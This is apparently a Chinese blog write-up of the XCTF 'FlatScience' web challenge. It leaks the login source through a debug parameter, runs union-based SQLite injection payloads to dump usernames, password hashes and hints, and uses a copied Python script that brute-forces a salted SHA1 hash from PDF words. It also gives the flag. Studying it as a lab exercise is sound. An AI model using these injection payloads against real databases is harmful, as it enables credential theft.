xctf攻防世界 Web高手进阶区 FlatScience29

这道题真的,无敌了,太尼玛难了,菜鸡哭泣ing

1. 进入环境,查看内容

在这里插入图片描述
一通乱点,查看console,啥都没有,于是想着查看源码,使用.git漏洞,看看有没有东西,如图,啥都没有!
在这里插入图片描述
一顿乱猜,看看robots.txt,有没有什么限制!得到了提示:
在这里插入图片描述
也就是说/login.php和/admin.php是有东西的。

2. 开始解题

  1. 打开/login.php,好家伙,还真有登录页面,如图:

在这里插入图片描述
一顿瞎猜进不去,看看控制台有啥提示,如图:
在这里插入图片描述
TODO是打算移除Debug参数,也就是说,要用到debug参数?常熟输入?debug=xx,

http://111.200.241.244:55853/login.php?debug=xx

如图:
在这里插入图片描述
好家伙,出来了一堆代码:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

获取到的最大信息是:

  • 未对参数pw和usr进行过滤。(因此可以猜到,题目想让我们去玩sql注入,拿到信息)
  • 后台的数据库是SQLite3。(提示我们使用SQLite3的注入方式)
  1. 开始进行SQLite3注入
    不太懂这个数据库怎么注入,开始参考大佬们的wp,因为每个sqlite都有sqlite_master表,他是系统表,因此构造payload。
usr=' union select name, name from sqlite_master where type='table'-- &pw=admin

如图:
在这里插入图片描述
可以看到,系统表中使用的表Users表,因此,我们需要知道Users表中包含的内容,于是构造payload:

usr=' union SELECT sql,sql FROM sqlite_master WHERE tbl_name = 'Users' and type = 'table'--&pw=admin

如图:
在这里插入图片描述
复制编码的内容,在hackbar中进行解码,如图:
在这里插入图片描述
也就是说,创建Users表,有四个字段

字段含义
id整型,主键
namevarchar类型,255字符
passwordvarchar类型,255字符
hintvarchar类型,255字符

那么跟着走,查询每个字段的内容和数据

usr=' union select id,group_concat(id) from users--&pw=admin   # 得到所有的id
usr=' union select id,group_concat(name) from users--&pw=admin # 得到所有的name
usr=' union select id,group_concat(password) from users--&pw=admin # 得到所有的password
usr=' union select id,group_concat(hint) from users--&pw=admin # 得到所有的hint

汇总结果:

idnamepasswordhint
1
2
3
admin
fritze
hansi
3fab54a50e770d830c0416df817567662a9dc85c,
54eae8935c90f467427f05e4ece82cf569f89507
34b0bb7c304949f9ff2fc101eef0f048be10d3bd
my+fav+word+in+my+fav+paper?!
my+love+is…?
the+password+is+password
  1. 注入完成后,思考上述表格
    根据前面的代码
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

也就是说,要根据查询到的name和查询到的密码,即pass和"Salz!相结合",再经过sha1(),才会得到3fab54a50e770d830c0416df817567662a9dc85c这窜序列,拿到pass,才能登录。。。(此处人已经麻中麻了)如何拿到

  1. 开始思考所给的pdf作用了
    看了大佬们的思路,我们根据后面的hint,我最喜欢的单词在我最喜欢的论文里面。因此我们需要在那些篇论文里面找出一个单词,如果这个单词和Salz连接,然后经过sha1加密和3fab54a50e770d830c0416df817567662a9dc85c一样,那么这个单词就是密码。这里用手肯定是不可能的,只能写(抄)脚本。(已无耐心,直接抄脚本了,麻了)
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

得到真正的password:ThinJerboa

  1. 登录/admin.php,获取flag
    如图:
    在这里插入图片描述
    flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

3. 总结

  • 考察sql注入
  • 代码审计
  • robots.txt的信息提示

参考博客:

  1. https://blog.csdn.net/hxhxhxhxx/article/details/107846000
  2. https://blog.csdn.net/rfrder/article/details/108562201?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0.no_search_link&spm=1001.2101.3001.4242.1&utm_relevant_index=3
  3. https://www.freesion.com/article/90921127188/

这个题真的太难了,整了一下午时间,实在跟不上,如有问题,恳请指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

l8947943

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值